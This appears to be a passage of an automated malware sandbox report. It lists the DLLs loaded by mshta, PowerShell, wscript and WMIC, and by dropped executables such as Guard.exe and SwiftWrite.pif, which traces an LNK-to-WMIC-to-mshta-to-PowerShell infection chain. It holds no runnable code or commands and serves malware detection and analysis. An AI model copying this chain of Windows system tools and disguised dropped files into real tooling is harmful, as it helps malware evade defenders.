Source: C:\Windows\System32\mshta.exeSection loaded: slc.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: sppc.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: onecorecommonproxystub.dllJump to behavior
Source: C:\Windows\System32\mshta.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: qmgr.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: bitsperf.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: powrprof.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: xmllite.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: firewallapi.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: esent.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: umpdc.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: fwbase.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: ntmarta.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: flightsettings.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: netprofm.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: npmproxy.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: bitsigd.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: upnp.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: ssdpapi.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: appxdeploymentclient.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: wsmauto.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: miutils.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: wsmsvc.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: dsrole.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: pcwum.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: mi.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: wkscli.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: msv1_0.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: ntlmshared.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: cryptdll.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: webio.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: winnsi.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: fwpuclnt.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: rasadhlp.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: rmclient.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: usermgrcli.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: execmodelclient.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: propsys.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: coremessaging.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: twinapi.appcore.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: onecorecommonproxystub.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: execmodelproxy.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: resourcepolicyclient.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: vssapi.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: vsstrace.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: samcli.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: samlib.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: es.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: bitsproxy.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: dhcpcsvc6.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: dhcpcsvc.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: schannel.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: mskeyprotect.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: ntasn1.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: ncrypt.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: ncryptsslp.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: dpapi.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: mpr.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: edputil.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.staterepositoryps.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: policymanager.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msvcp110_win.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: onecorecommonproxystub.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appresolver.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: bcp47langs.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: slc.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sppc.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeSection loaded: wsock32.dll
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeSection loaded: version.dll
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeSection loaded: winmm.dll
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeSection loaded: mpr.dll
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeSection loaded: wininet.dll
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeSection loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeSection loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeSection loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeSection loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeSection loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeSection loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: edputil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appresolver.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: bcp47langs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: slc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sppc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: apphelp.dll
Source: C:\Users\Public\Guard.exeSection loaded: wsock32.dll
Source: C:\Users\Public\Guard.exeSection loaded: version.dll
Source: C:\Users\Public\Guard.exeSection loaded: winmm.dll
Source: C:\Users\Public\Guard.exeSection loaded: mpr.dll
Source: C:\Users\Public\Guard.exeSection loaded: wininet.dll
Source: C:\Users\Public\Guard.exeSection loaded: iphlpapi.dll
Source: C:\Users\Public\Guard.exeSection loaded: userenv.dll
Source: C:\Users\Public\Guard.exeSection loaded: uxtheme.dll
Source: C:\Users\Public\Guard.exeSection loaded: kernel.appcore.dll
Source: C:\Users\Public\Guard.exeSection loaded: windows.storage.dll
Source: C:\Users\Public\Guard.exeSection loaded: wldp.dll
Source: C:\Users\Public\Guard.exeSection loaded: napinsp.dll
Source: C:\Users\Public\Guard.exeSection loaded: pnrpnsp.dll
Source: C:\Users\Public\Guard.exeSection loaded: wshbth.dll
Source: C:\Users\Public\Guard.exeSection loaded: nlaapi.dll
Source: C:\Users\Public\Guard.exeSection loaded: mswsock.dll
Source: C:\Users\Public\Guard.exeSection loaded: dnsapi.dll
Source: C:\Users\Public\Guard.exeSection loaded: winrnr.dll
Source: C:\Users\Public\Guard.exeSection loaded: rasadhlp.dll
Source: C:\Windows\System32\wscript.exeSection loaded: version.dll
Source: C:\Windows\System32\wscript.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exeSection loaded: sxs.dll
Source: C:\Windows\System32\wscript.exeSection loaded: jscript.dll
Source: C:\Windows\System32\wscript.exeSection loaded: iertutil.dll
Source: C:\Windows\System32\wscript.exeSection loaded: amsi.dll
Source: C:\Windows\System32\wscript.exeSection loaded: userenv.dll
Source: C:\Windows\System32\wscript.exeSection loaded: profapi.dll
Source: C:\Windows\System32\wscript.exeSection loaded: wldp.dll
Source: C:\Windows\System32\wscript.exeSection loaded: msasn1.dll
Source: C:\Windows\System32\wscript.exeSection loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exeSection loaded: rsaenh.dll
Source: C:\Windows\System32\wscript.exeSection loaded: cryptbase.dll
Source: C:\Windows\System32\wscript.exeSection loaded: msisip.dll
Source: C:\Windows\System32\wscript.exeSection loaded: wshext.dll
Source: C:\Windows\System32\wscript.exeSection loaded: scrobj.dll
Source: C:\Windows\System32\wscript.exeSection loaded: mpr.dll
Source: C:\Windows\System32\wscript.exeSection loaded: scrrun.dll
Source: C:\Windows\System32\wscript.exeSection loaded: windows.storage.dll
Source: C:\Windows\System32\wscript.exeSection loaded: propsys.dll
Source: C:\Windows\System32\wscript.exeSection loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\wscript.exeSection loaded: appresolver.dll
Source: C:\Windows\System32\wscript.exeSection loaded: bcp47langs.dll
Source: C:\Windows\System32\wscript.exeSection loaded: slc.dll
Source: C:\Windows\System32\wscript.exeSection loaded: sppc.dll
Source: C:\Windows\System32\wscript.exeSection loaded: apphelp.dll
Source: C:\Windows\System32\wscript.exeSection loaded: twext.dll
Source: C:\Windows\System32\wscript.exeSection loaded: cscui.dll
Source: C:\Windows\System32\wscript.exeSection loaded: edputil.dll
Source: C:\Windows\System32\wscript.exeSection loaded: urlmon.dll
Source: C:\Windows\System32\wscript.exeSection loaded: srvcli.dll
Source: C:\Windows\System32\wscript.exeSection loaded: netutils.dll
Source: C:\Windows\System32\wscript.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\wscript.exeSection loaded: wintypes.dll
Source: C:\Windows\System32\wscript.exeSection loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\wscript.exeSection loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: version.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: winmm.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: mpr.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: wininet.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: userenv.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: wldp.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: rasadhlp.dll
Source: C:\Windows\System32\wbem\WMIC.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32Jump to behavior
Source: nTyPEbq9wQ.lnkLNK file: ..\..\..\..\..\Windows\System32\Wbem\wmic.exe
Source: C:\Windows\System32\mshta.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\SettingsJump to behavior
Source: Window RecorderWindow detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
Source: Binary string: dvdplay.pdbGCTL source: mshta.exe, 00000006.00000002.1692760542.0000023F458C0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1663608231.0000023F4030E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1656620086.0000023F4026E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1692811416.0000023F458D8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1657428483.0000023F458C1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1658407754.0000023F402FC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1661852366.0000023F402F5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1656620086.0000023F402DF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1661852366.0000023F402DF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1692472427.0000023F402F5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1656252636.0000023F458D8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1657586967.0000023F402DF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 